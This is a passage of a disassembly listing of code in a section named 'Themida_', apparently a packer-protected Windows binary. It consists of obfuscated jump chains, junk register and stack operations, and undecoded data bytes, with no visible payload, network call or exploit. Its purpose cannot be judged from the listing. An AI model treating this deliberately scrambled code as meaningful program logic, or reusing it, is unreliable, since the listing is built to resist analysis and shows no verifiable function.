edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], ebx push 0 jmp loc_51F82B ; --------------------------------------------------------------------------- loc_50F75E: ; CODE XREF: Themida_:00520898j add ebx, eax pop eax xchg ebx, [esp] jmp loc_515C2D ; --------------------------------------------------------------------------- loc_50F769: ; CODE XREF: Themida_:0051061Ej sub edx, eax pop eax pop ecx push edx push dword ptr [esp+4] mov edx, [esp] jmp loc_51C838 ; --------------------------------------------------------------------------- dw 248Bh dd 0FF8AE924h, 0E089FFFFh, 4BB53h, 6CE90000h, 4E000070h dd 10C61E9h, 24048B00h, 8904EC83h, 58542404h, 405h, 89515600h dd 28E468E1h, 4890000h, 4B824h, 0C1010000h, 0B055E9h, 4C48300h dd 2297E952h, 0A8680001h, 89000061h, 8BBF243Ch, 870AC54Ch dd 0E9D3F7DFh, 45D0h, 44F2814Ah, 50672892h, 0A311E8B8h dd 58C20950h, 7AB2C281h, 0BE560B33h, 20461E5Dh, 25E9F231h db 0D5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50F7FF: ; CODE XREF: Themida_:00523D93j dec edx jmp loc_520D00 ; --------------------------------------------------------------------------- loc_50F805: ; CODE XREF: Themida_:00510E44j pop ecx mov edx, [esp] add esp, 4 push edi push 0D3112ADh pop edi or ecx, edi jmp loc_51051E ; --------------------------------------------------------------------------- dw 8B66h dd 7DE92404h, 660000EBh, 0E9241C8Bh, 21FBh, 8702EF83h dd 0EDE9243Ch, 5100009Ah, 50EDE950h, 34FF0000h, 0C4835924h dd 4C48304h, 41B3E955h, 83500001h, 148904ECh, 88DA8824h dd 8AE95AD0h, 8100005Fh, 3A3A4FEDh, 2434FF11h, 4C48158h dd 0E9000000h, 0B5D4h, 68E9F766h, 4370h, 0E9243C89h, 45C2h ; --------------------------------------------------------------------------- loc_50F884: ; CODE XREF: Themida_:0051E924j add esp, 4 sub eax, ebx add eax, 4E982061h jmp loc_5101C2 ; --------------------------------------------------------------------------- dw 77FFh dd 59669D1Ch, 9C2414D3h, 0FFFE67E9h db 0FFh ; --------------------------------------------------------------------------- loc_50F8A5: ; CODE XREF: Themida_:0051401Fj push dword ptr [esp] pop ecx add esp, 4 push 4CB8h mov [esp], edx push ecx mov ch, ah mov dl, ch jmp loc_519F19 ; --------------------------------------------------------------------------- loc_50F8C1: ; CODE XREF: Themida_:00514169j mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_514C63 ; --------------------------------------------------------------------------- db 5Ah dd 4C181h, 0C870000h, 0C5815C24h, 4, 9186E9h, 4B46BA00h dd 0DAF736C0h, 51BCB850h, 0C2312EDDh, 2139E958h, 0CD810000h dd 425D6F50h, 5792ED81h, 0B8502E56h, 2B06899h, 119EE9h dd 19C58100h, 176F031h, 19ED81F5h, 5E76F031h, 31242C33h dd 2C33242Ch, 366DE924h db 1, 0 ; --------------------------------------------------------------------------- loc_50F936: ; CODE XREF: Themida_:005134D3j mov [esp], ebx jmp loc_5137AE ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFFFDC8h ; --------------------------------------------------------------------------- loc_50F944: ; CODE XREF: Themida_:00516027j push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 jmp loc_51124B ; --------------------------------------------------------------------------- dw 295Eh dd 0D88958C3h, 0FFC5015Bh, 48B2434h, 0E6895624h, 4C681h dd 0C6810000h, 4, 2474FF56h, 48F5E04h, 24248B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_523AD0 ; --------------------------------------------------------------------------- loc_50F99A: ; CODE XREF: Themida_:00514242j sub edi, 207C5921h add edi, 6A5251Bh add edi, ebx sub edi, 6A5251Bh add edi, 207C5921h pop ebx xchg edi, [esp] mov esp, [esp] sub esp, 4 jmp loc_511FB3 ; --------------------------------------------------------------------------- loc_50F9C6: ; CODE XREF: Themida_:0051F2BAj add esp, 4 xor eax, ebp push dword ptr [esp] jmp loc_5177B1 ; --------------------------------------------------------------------------- dw 0D2F7h dd 58241487h, 3E316C25h, 0FFE8834Bh, 28310935h, 8BC1014Bh dd 0C4812404h, 4, 31240C33h, 0C33240Ch, 2250E924h, 685C0000h dd 4760h, 0E9240489h, 152C5h ; --------------------------------------------------------------------------- loc_50FA10: ; CODE XREF: Themida_:0051332Bj mov esp, [esp] sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 sub esp, 4 mov [esp], edi push ebx mov ebx, 5AF156E9h push ebx mov ebx, 0A50EA91Bh jmp loc_5166D8 ; --------------------------------------------------------------------------- db 0BBh dd 1B9E2177h, 8904EC83h, 0B8B9240Ch, 0E90FA261h, 50C0h dd 815E5456h, 4C6h, 4EE8100h, 0E9000000h, 0EC93h, 5B2434FFh dd 0FF6BE9h, 0CA814A00h, 2F5D67F0h, 67EFEA81h, 0D0892FFFh dd 11CF5E9h, 714B6800h, 4890000h, 64F9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50FA9A: ; CODE XREF: Themida_:005125FEj not edx jmp loc_51DB1D ; --------------------------------------------------------------------------- loc_50FAA1: ; CODE XREF: Themida_:00514D9Fj mov eax, 6D026D86h jmp loc_51345C ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFFC5Ch, 240C8B66h, 191C68h, 242C8900h, 0C5815D54h dd 4, 4B2868h, 0C9A7E900h, 0AB80000h, 56046A03h, 0BE5CF8BEh dd 9AEE812Ah, 0E924DB38h, 14DE8h ; --------------------------------------------------------------------------- loc_50FAE4: ; CODE XREF: Themida_:0051CCBDj add edx, edi pop edi mov esi, edx push dword ptr [esp] mov edx, [esp] jmp loc_51030A ; --------------------------------------------------------------------------- loc_50FAF4: ; CODE XREF: Themida_:005104E9j pop ebx add esp, 4 and eax, edx push dword ptr [esp] mov edx, [esp] sub esp, 4 jmp loc_51CEDF ; --------------------------------------------------------------------------- loc_50FB0B: ; CODE XREF: Themida_:00518F57j pop eax sub ebx, 0A455AB54h and edi, ebx mov ebx, [esp] add esp, 4 push ebx push 59C31C4h mov ebx, [esp] jmp loc_51058A ; --------------------------------------------------------------------------- db 4Eh dd 0CD81F587h, 123D2562h, 0D755C581h, 0EA295A30h, 4664E95Dh dd 89570001h, 0C70FE9E7h, 8B660000h, 52E92404h db 2Fh, 1, 0 ; --------------------------------------------------------------------------- loc_50FB53: ; CODE XREF: Themida_:005216D9j mov edx, 40652F0Dh jmp loc_515815 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 11155E9h db 0 ; --------------------------------------------------------------------------- loc_50FB65: ; CODE XREF: Themida_:00517A8Ej mov edi, [esp] jmp loc_51DD26 ; --------------------------------------------------------------------------- db 0E9h, 9Ah, 0FBh dd 0BF57FFFFh, 754234A4h, 815FFA31h, 1F5F3AE2h, 0F7EA814Ch dd 0C10FE63Fh, 0F28106EAh, 0D0D010h, 9EE9D301h db 0C4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50FB97: ; CODE XREF: Themida_:00513926j push edi jmp loc_518145 ; --------------------------------------------------------------------------- db 1, 0D7h, 0E9h dd 829Eh, 0FFFB63E9h, 66D300FFh, 5FF3805Ah, 0E948EB80h dd 11A6Fh, 64E9D309h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50FBBF: ; CODE XREF: Themida_:0051BD95j mov ebp, esp add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi xchg ebp, [esp] jmp loc_51B726 ; --------------------------------------------------------------------------- dd 2856B1B9h, 4EC8173h, 89000000h, 60E92434h, 5200002Dh dd 70944BBAh, 5AD7019Ah, 315FF929h, 0D02959CAh, 7B24E9h dd 2434FF00h, 4EC8358h, 54240489h, 0E924048Bh, 1012Fh dd 11AFC181h, 0C5E90D87h, 58000101h, 0C180D9F6h, 7E9C0FFh dd 4805166h, 5966FF24h, 36B45066h, 5866E128h, 8071E9h dd 4B800h, 0E9500000h, 9BBAh ; --------------------------------------------------------------------------- loc_50FC48: ; CODE XREF: Themida_:0051C008j not edi xchg edi, ecx jmp loc_51BDA0 ; --------------------------------------------------------------------------- db 8Fh, 2, 0E9h dd 0FFFFFAB4h ; --------------------------------------------------------------------------- loc_50FC58: ; CODE XREF: Themida_:0051957Bj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov ax, [esp] jmp loc_51310E ; --------------------------------------------------------------------------- loc_50FC6B: ; CODE XREF: Themida_:005118F2j or eax, 25EC2CCFh jmp loc_5213D3 ; --------------------------------------------------------------------------- db 81h, 0E7h, 6Ch dd 31148E21h, 31F831C7h, 4EC4E9C7h db 1, 0 ; --------------------------------------------------------------------------- loc_50FC86: ; CODE XREF: Themida_:00524FEBj add ebp, esi pop esi push edx jmp loc_51A976 ; --------------------------------------------------------------------------- loc_50FC8F: ; CODE XREF: Themida_:0051BC39j push ecx mov ecx, 58FE7FABh xor ecx, 58FE7FAFh sub edi, 54385E13h add edi, ecx push ecx sub esp, 4 mov [esp], eax mov eax, 54385E13h mov ecx, eax pop eax add edi, ecx jmp loc_524BE3 ; --------------------------------------------------------------------------- loc_50FCB9: ; CODE XREF: Themida_:00512DB6j add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5249EF ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FACAh, 303FEC80h, 0F80058E7h, 81241C8Bh dd 4C4h, 32A6E900h, 0BF2D0000h, 0E9517A3Ch, 0B83Fh, 0B9240C89h dd 0CB52E32h, 8244C01h, 24740159h, 9EEE904h, 31660001h dd 3166240Ch, 0CF3166F9h, 66F93166h, 0D2686657h, 2C896651h dd 665F6624h, 81242C8Bh, 2C4h, 66556600h, 0E9241487h, 0CB14h dd 1FE9F201h, 2900008Eh, 1BF705D8h, 10052EFBh, 52297E0Eh dd 914286BAh, 2DBE564Ah, 81433800h, 9007EBEAh, 56F2010Fh dd 371DF9BEh, 8DE6E90Dh, 0C4810000h, 4, 5C24048Fh, 9C2424D2h dd 0FFFE27E9h db 0FFh ; --------------------------------------------------------------------------- loc_50FD7D: ; CODE XREF: Themida_:00518565j add esp, 4 xchg edi, [esp] mov esp, [esp] mov [esp], eax jmp loc_50F70C ; --------------------------------------------------------------------------- loc_50FD8E: ; CODE XREF: Themida_:00512976j mov ebx, edi pop edi push 1A22h mov [esp], eax push dword ptr [esp] mov eax, [esp] add esp, 4 push edi push esp pop edi push ecx push ebx push edi push 67F62B2Ah mov edi, [esp] add esp, 4 xor edi, 453E039Bh mov ebx, edi pop edi jmp loc_512759 ; --------------------------------------------------------------------------- loc_50FDC4: ; CODE XREF: Themida_:0051144Fj push dword ptr [esp] pop ecx add esp, 4 add esp, 4 and eax, edx mov edx, [esp] add esp, 4 shr eax, 0Ch xor eax, ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_5207E7 ; --------------------------------------------------------------------------- dw 0D66h dd 0D66769Dh, 5566195Bh, 0D333E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50FE02: ; CODE XREF: Themida_:005143D0j add esp, 4 push esi jmp loc_512699 ; --------------------------------------------------------------------------- db 54h dd 17CDE9h db 0 ; --------------------------------------------------------------------------- loc_50FE11: ; CODE XREF: Themida_:0051C359j pop ebp jmp loc_51C535 ; --------------------------------------------------------------------------- db 52h dd 4DB081BAh, 0ACC6817Fh, 29771F1Ah, 0ACEE81D6h, 5A771F1Ah dd 1AE9F101h, 500000B9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5197ED ; --------------------------------------------------------------------------- aFzrsSa db 'fZRS·s€Ç',0 db 50h, 88h, 0F8h dd 5B58C688h, 13082E9h, 4C28100h, 87000000h, 515C2414h dd 0EC76D8B9h, 59CE0113h, 0BB53EE01h, 13EC76D8h, 34FFDE29h dd 0C5F9E924h, 34FF0000h, 0BEC6E924h, 0F3010000h, 581DC381h dd 73E95B28h db 0CEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50FE8B: ; CODE XREF: Themida_:0051A80Dj add dword ptr [esp+4], 1B8E133Dh jmp loc_5197C7 ; --------------------------------------------------------------------------- loc_50FE98: ; CODE XREF: Themida_:00512F6Aj mov esi, 4 add edx, esi pop esi xor edx, [esp] xor [esp], edx jmp loc_51DE7A ; --------------------------------------------------------------------------- aE2BQS db '½²e2-Å ï',9,';éÄ¿',0 dw 5100h dd 0C181E189h, 4, 4C181h, 10E90000h, 66000059h, 5724048Bh dd 8497E9h db 0, 56h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 3FB953B8h jmp loc_51D45E ; --------------------------------------------------------------------------- aXsC db 'Xé(—',0 align 10h dd 6624248Bh, 83240C8Bh, 29E902C4h db 2Ah, 1, 0 ; --------------------------------------------------------------------------- loc_50FF0F: ; CODE XREF: Themida_:005215D9j add edx, eax mov eax, [esp] add esp, 4 jmp loc_5107CC ; --------------------------------------------------------------------------- loc_50FF1F: ; CODE XREF: Themida_:005178E5j push ebx jmp loc_520ABB ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 18h dd 0FF00002Ah, 0E95D240Ch, 12FE9h, 6762EF81h, 0C701137Ch dd 6762C781h, 3358137Ch, 5EE9243Ch, 0C1000069h, 575304EFh dd 2219FBFh, 0F2CF8129h, 81031471h, 0D0950F7h, 0E9FB8953h dd 0D1B2h, 7222E95Eh, 15F0000h, 8A94E9C3h, 4330000h, 0D65DE924h dd 348B0000h, 4C48324h, 2759C681h, 0DEF7567Bh, 0B951DEF7h dd 165E6F29h, 0E981D9F7h, 1, 20B0F181h, 0E1810986h, 4D6F0B1Eh dd 6DCC181h, 0D8E983F3h db 0F8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50FFB3: ; CODE XREF: Themida_:005177E2j xchg ecx, [esp] pop esp jmp loc_511771 ; --------------------------------------------------------------------------- dd 0F5AC781h, 34E9CD4Ch, 5800002Ah, 4EC81h, 4890000h, 4B824h dd 0C6010000h, 8324048Bh, 343304C4h, 24343124h, 0E9243433h dd 5F45h, 89241489h, 4C281E2h, 83000000h, 148704C2h, 68585C24h dd 54D6h, 0BE243489h, 14E72335h, 65C2E9h, 81E38900h, 4C3h dd 4C38300h, 5C241C87h, 0C380C300h, 0F1E94Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_51002A: ; CODE XREF: Themida_:00510B85j add eax, ebx pop ebx jmp loc_51B95F ; --------------------------------------------------------------------------- loc_510032: ; CODE XREF: Themida_:0052111Cj pop esp mov [esp], edi jmp loc_51DA27 ; --------------------------------------------------------------------------- db 52h dd 0C281E289h, 4, 8904EC83h, 3AE9242Ch db 0FAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51004F: ; CODE XREF: Themida_:005160CEj sub ebp, 4 push ebp jmp loc_51C028 ; --------------------------------------------------------------------------- db 0BFh dd 4, 5E44BB53h, 0DCE961C5h, 0E9000095h, 0FFFFF69Ch, 22A3BA52h dd 0D0295AABh, 0F118E9h, 0E2895200h, 4C281h, 0EA830000h dd 24143304h, 1327E9h, 24348B00h, 0D5DDE9h, 0AEC38100h dd 893D131Ch, 41B0E9DAh db 1, 0 ; --------------------------------------------------------------------------- loc_5100A6: ; CODE XREF: Themida_:0051814Cj pop edi sub eax, 4 jmp loc_524EBE ; --------------------------------------------------------------------------- loc_5100B1: ; CODE XREF: Themida_:00519F82j mov edi, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] loc_5100C6: ; CODE XREF: Themida_:0051A685j ; Themida_:00521739j sub esp, 4 mov [esp], ebx push dword ptr [esp] pop eax push 0E3Ch jmp loc_515DAD ; --------------------------------------------------------------------------- loc_5100DD: ; CODE XREF: Themida_:00517704j push eax mov ah, 0A3h shl ah, 4 jmp loc_5184FD ; --------------------------------------------------------------------------- loc_5100E8: ; CODE XREF: Themida_:005142B1j mov dl, 68h neg dl add dl, 0CEh add dl, 5 jmp loc_510C43 ; --------------------------------------------------------------------------- db 5Eh dd 515FF931h, 0E9243C8Bh, 4B20h ; --------------------------------------------------------------------------- loc_510104: ; CODE XREF: Themida_:0051A666j add ebx, 561D6C6Dh xor ebx, 559C548Fh sub ebp, 0CC02CDh jmp loc_51A3CC ; --------------------------------------------------------------------------- aQhb db 'Qh^',0 dd 241C8900h, 0F98826B7h, 10CECE9h db 0 ; --------------------------------------------------------------------------- loc_51012D: ; CODE XREF: Themida_:0051956Cj shl ecx, 7 jmp loc_51B6E3 ; --------------------------------------------------------------------------- db 0B9h, 0D2h, 58h dd 62E914E7h, 0FF00006Ch, 835D2434h, 0C9E904C4h db 41h, 1, 0 ; --------------------------------------------------------------------------- loc_51014B: ; CODE XREF: Themida_:00522927j add esi, 5492F51Dh sub ebx, esi mov esi, [esp] add esp, 4 xor edi, ebx pop ebx xor edi, 24504593h xor [esp+4], edi push dword ptr [esp] jmp loc_515224 ; --------------------------------------------------------------------------- loc_51016E: ; CODE XREF: Themida_:00517489j add esp, 4 jmp loc_521E37 ; --------------------------------------------------------------------------- loc_510179: ; CODE XREF: Themida_:00512334j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add ecx, edi add ecx, 6D144977h mov edi, [esp] add esp, 4 jmp loc_51A425 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 52240C8Bh, 0C2815A54h, 4, 8704C283h, 248B2414h dd 4386824h, 14890000h, 0D244E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5101C2: ; CODE XREF: Themida_:0050F891j add eax, 16743F7h push 4D3Eh mov [esp], ebp push 1ED1h mov [esp], edx mov edx, 5276362Bh jmp loc_521620 ; --------------------------------------------------------------------------- db 0C1h, 0E5h, 8 dd 54CED81h, 0FD012A9Eh, 5F2434FFh, 70C668h, 243C8900h dd 0C781E789h, 4, 8704C783h, 505C243Ch, 347D67B8h, 58C53155h dd 4EE2C781h, 0EF011C05h, 7FE95651h, 0F6000016h, 0E7C280DAh dd 0C008E2C0h, 0AEE903E2h, 66000027h, 0E958C729h, 14663h ; --------------------------------------------------------------------------- loc_510238: ; CODE XREF: Themida_:005186CFj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp or edi, ecx pop ecx xor edi, 32BFB339h xor edx, edi jmp loc_51EE8D ; --------------------------------------------------------------------------- db 81h dd 0EA64DEE9h, 0C335F46h, 240C3124h, 0E9240C33h, 6D39h dd 0C380D300h, 805A661Fh, 0B60F19EBh, 8734FFC0h, 8324048Bh dd 348904ECh, 57E68924h, 0FFFDCEE9h, 51F828FFh, 0E82875B5h dd 4EC8359h, 0E9241C89h, 0B5D4h, 6BDAE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5102A6: ; CODE XREF: Themida_:00519EB8j add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_51A944 ; --------------------------------------------------------------------------- db 58h dd 2414335Dh, 0E9241431h, 200h ; --------------------------------------------------------------------------- loc_5102C4: ; CODE XREF: Themida_:00523D24j push edx mov edx, esp add edx, 4 jmp loc_516DED ; --------------------------------------------------------------------------- loc_5102D2: ; CODE XREF: Themida_:0051C675j xor [esp], ecx jmp loc_51812D ; --------------------------------------------------------------------------- loc_5102DA: ; CODE XREF: Themida_:0051E370j push dword ptr [esp] jmp loc_518385 ; --------------------------------------------------------------------------- dw 685Dh dd 0FFBA9288h, 5AD7015Fh, 0D37C0C2Dh, 0FD7AE95Eh, 0E689FFFFh dd 4C681h, 0C6830000h, 24348704h, 0CC60E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_51030A: ; CODE XREF: Themida_:0050FAEFj add esp, 4 add esp, 4 jmp loc_52117C ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 8B000000h, 0C481242Ch, 4, 12E4E9h, 4BF00h, 0FA290000h dd 2414875Fh, 8924248Bh, 4BF243Ch, 29000000h, 243C8BFEh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ebp jmp loc_5155AE ; --------------------------------------------------------------------------- dw 4BDh dd 1000000h, 5D04246Ch, 8B2434FFh, 5452242Ch, 11ED8E9h dd 0DFD8BB00h, 0DD01CCC5h, 4FEB815Bh, 8102994Eh, 0D1220EEBh dd 1453E953h, 34890001h, 0BE565024h, 0 dd 0E95EF089h, 3871h ; --------------------------------------------------------------------------- loc_510390: ; CODE XREF: Themida_:0051B37Cj mov ebp, 3294709Bh jmp loc_519777 ; --------------------------------------------------------------------------- dw 0D800h dd 574E95Bh, 0E95A0001h, 12ECFh, 3273EB81h, 7DE9A770h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5103B3: ; CODE XREF: Themida_:005171B9j add ebx, 4 jmp loc_51040D ; --------------------------------------------------------------------------- loc_5103BE: ; CODE XREF: Themida_:0051673Fj mov ecx, esp jmp loc_50F732 ; --------------------------------------------------------------------------- db 1, 2 dup(0E9h) dd 138BCh, 0D7E95752h db 24h, 1, 0 ; --------------------------------------------------------------------------- loc_5103D3: ; CODE XREF: Themida_:00512524j add edi, ecx pop ecx push eax sub esp, 4 mov [esp], esi push edi push 1BA17B0Ch pop edi jmp loc_516DE6 ; --------------------------------------------------------------------------- aZSfi db '‡<$\éfI',0 align 2 aS_5 db ')ß[é·¹',0 align 2 dw 48Bh dd 4C48124h, 68000000h, 10FEh, 13815E9h db 0 ; --------------------------------------------------------------------------- loc_51040D: ; CODE XREF: Themida_:005103B9j sub esp, 4 jmp loc_5225B7 ; --------------------------------------------------------------------------- loc_510418: ; CODE XREF: Themida_:0051FF64j mov edx, 0ECE8E193h add ebx, edx pop edx add edx, ebx mov ebx, [esp] add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] add esp, 4 push ebp push esp jmp loc_51F2DD ; --------------------------------------------------------------------------- loc_51043E: ; CODE XREF: Themida_:00510C91j xchg edi, [esp] mov esp, [esp] mov [esp], esi jmp loc_520F2C ; --------------------------------------------------------------------------- loc_51044C: ; CODE XREF: Themida_:00519736j add ecx, 1BCD471Bh xor dword ptr [ecx], 2ABF005Dh jmp loc_5151D4 ; --------------------------------------------------------------------------- db 0BFh, 0B0h, 2Ch dd 0F9013832h, 24048B5Fh, 4C481h, 0C870000h, 24248B24h dd 6149BB53h, 0D829080Eh, 0FFF5EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_510481: ; CODE XREF: Themida_:005166C9j xchg esi, [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_524B53 ; --------------------------------------------------------------------------- db 30h dd 0DEDE9CEh, 0E9530001h, 16D5h, 8BD68959h, 89562414h dd 4C681E6h, 81000000h, 4C6h, 24348700h, 4EC815Ch, 0E9000000h dd 0FFFFF830h, 8B241433h, 89662424h, 39E92404h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5104D3: ; CODE XREF: Themida_:005128C2j add ebx, 502E7850h push 247Dh mov [esp], esi mov esi, ebx mov edx, esi pop esi push dword ptr [esp] jmp loc_50FAF4 ; --------------------------------------------------------------------------- dw 0EF89h dd 0E95FF889h, 473Dh ; --------------------------------------------------------------------------- loc_5104F8: ; CODE XREF: Themida_:0051D588j pop esp xchg ebx, [esp] mov esp, [esp] mov fs:[edx], ax jmp loc_50F70C ; --------------------------------------------------------------------------- dd 6CE9F520h, 5000024h, 7B020F9Eh, 0BD4C482Dh, 577DE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51051E: ; CODE XREF: Themida_:0050F815j pop edi push esi mov esi, 5D8B53D0h not esi xor esi, 46B0253Eh add ecx, esi mov esi, [esp] add esp, 4 and eax, ecx pop ecx or eax, eax jz loc_522E26 push dword ptr [edi+1Ch] jmp loc_51DB3A ; --------------------------------------------------------------------------- db 66h dd 81240C8Bh, 4ECh, 24148900h, 71E0E9h, 4C48100h, 50000000h dd 2434FF54h, 11035E9h, 207F8300h, 1A840F00h, 68FFFFF8h dd 0E3Ah, 391FE9h, 4C48300h, 0FF7EE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51058A: ; CODE XREF: Themida_:0050FB26j add esp, 4 neg ebx jmp loc_512EB0 ; --------------------------------------------------------------------------- loc_510594: ; CODE XREF: Themida_:005141FBj neg eax sub esp, 4 mov [esp], esi jmp loc_5155F3 ; --------------------------------------------------------------------------- dd 405E089h, 83000000h, 48704C0h, 3C71E924h, 4330001h dd 24043124h, 3A8EE9h, 4BE00h, 0F5010000h, 242C875Eh, 2D0CE9h dd 7EFC000h, 0E1E0E9h db 0 ; --------------------------------------------------------------------------- loc_5105D9: ; CODE XREF: Themida_:0051D5B2j push ecx mov ecx, 0D5B1187h jmp loc_518C9C ; --------------------------------------------------------------------------- dd 8124348Bh, 4C4h, 0F11AE900h, 0C381FFFFh, 0BB053FCh dd 3293C381h, 0DFE9EA4Fh db 9Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_510603: ; CODE XREF: Themida_:00518D17j not ecx push esi jmp loc_510DFC ; --------------------------------------------------------------------------- db 66h dd 5724048Bh, 243C8B54h, 8040E9h db 0 ; --------------------------------------------------------------------------- loc_510619: ; CODE XREF: Themida_:00516508j mov eax, 774830CBh jmp loc_50F769 ; --------------------------------------------------------------------------- db 0B2h dd 0E9F1B349h, 1489Eh, 6A7EEB81h, 525A65F5h, 2BAh, 5AD30100h dd 5C241C87h, 71FF6853h, 0C890000h, 0D4885024h, 7DE9E588h db 1Dh, 1, 0 ; --------------------------------------------------------------------------- loc_510653: ; CODE XREF: Themida_:00518130j mov esp, [esp] jmp loc_518201 ; --------------------------------------------------------------------------- db 5Dh dd 0E904C483h, 0B7FDh, 84DCE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51066A: ; CODE XREF: Themida_:005148A0j mov [esp], ecx push ebx push 19E939CBh jmp loc_514593 ; --------------------------------------------------------------------------- dd 0E9028F66h, 0FFFFF08Ch ; --------------------------------------------------------------------------- loc_510680: ; CODE XREF: Themida_:0051DE7Dj mov esp, [esp] push 4990h mov [esp], ebp push ebx push ecx mov ecx, 7C17106Eh jmp loc_521979 ; --------------------------------------------------------------------------- aXsf db 'XéF\',0 dd 41E46800h, 2C890000h, 5856BD24h, 0D5F77537h, 1445E945h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5106B2: ; CODE XREF: Themida_:0051E535j mov edi, esp jmp loc_51987E ; --------------------------------------------------------------------------- loc_5106B9: ; CODE XREF: Themida_:00514871j mov [esp], ebp push ecx push 378A4769h jmp loc_512603 ; --------------------------------------------------------------------------- loc_5106C7: ; CODE XREF: Themida_:00522179j shr ecx, 0 or eax, eax jz loc_522070 push ebx push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_51E529 ; --------------------------------------------------------------------------- aSsS db 'Sé˜',0 db 0 ; --------------------------------------------------------------------------- loc_5106F3: ; CODE XREF: Themida_:0051EDD7j push 637Dh mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 sub esp, 4 mov [esp], ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] jmp loc_51DA34 ; --------------------------------------------------------------------------- db 89h dd 5CBD242Ch, 6818C30Ch, 7A73h, 0E9240C89h, 6040h ; --------------------------------------------------------------------------- loc_510730: ; CODE XREF: Themida_:00524027j pop ecx pop dword ptr [esp] jmp loc_52058E ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 1213EE9h, 8B665C00h, 97682404h, 89000008h, 0E189240Ch dd 0F0E1E9h, 2434FF00h, 4C4835Eh, 2C781h, 3C330000h, 39C2E924h dd 34FF0001h, 2434FF24h, 4A166859h, 34890000h, 1FD5E924h dd 89520000h, 4C281E2h, 0E9000000h, 101Bh, 48BC201h, 675E924h dd 34FF0001h, 2434FF24h, 0E6895658h, 4C681h, 0C6830000h dd 50D6E904h, 0F3B90000h, 895323AFh, 240C8BCEh, 0E904C483h dd 13965h, 0B9C1815Dh, 0E9B11BFAh, 13BBEh ; --------------------------------------------------------------------------- loc_5107CC: ; CODE XREF: Themida_:0050FF1Aj mov esi, [esp] add esp, 4 jmp loc_51AFA9 ; --------------------------------------------------------------------------- loc_5107DA: ; CODE XREF: Themida_:0051BB33j mov [esp], ecx push 3AAC66CBh mov ecx, [esp] add esp, 4 push ebp push 0C553A935h pop ebp add ecx, ebp pop ebp mov edx, ecx jmp loc_51144C ; --------------------------------------------------------------------------- loc_5107F9: ; CODE XREF: Themida_:0051276Bj add eax, 4 xchg eax, [esp] pop esp sub edi, 1764795Bh add edi, ecx add edi, 1764795Bh mov ecx, [esp] add esp, 4 push edx push edi mov edi, 0F8333E8h add edi, 4EB97662h sub esp, 4 mov [esp], ebp mov ebp, 73BB1E3Eh and edi, ebp pop ebp sub edi, 39FE03DFh mov edx, edi pop edi sub edx, 0FFFFFFFFh shr edx, 3 xchg ecx, edx not ecx inc ecx xchg ecx, edx jmp loc_518CE6 ; --------------------------------------------------------------------------- a341434S_v db '34$14$34$é.V',0 align 2 loc_51085E: ; CODE XREF: Themida_:0051BDA1j mov edi, 0C695FB46h xor ecx, edi pop edi mov ebx, ecx jmp loc_51A90F ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 81h dd 4ECh, 242C8900h, 7EF8FFBDh, 5DEE31FBh, 242C8156h, 13D16FA6h dd 0A6C3815Bh, 8B13D16Fh, 87E92434h, 660000C7h, 0B3241C89h dd 6782E9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5108A2: ; CODE XREF: Themida_:00510CA5j pop esp jmp loc_512005 ; --------------------------------------------------------------------------- dd 5AD7295Eh, 0C781DF01h, 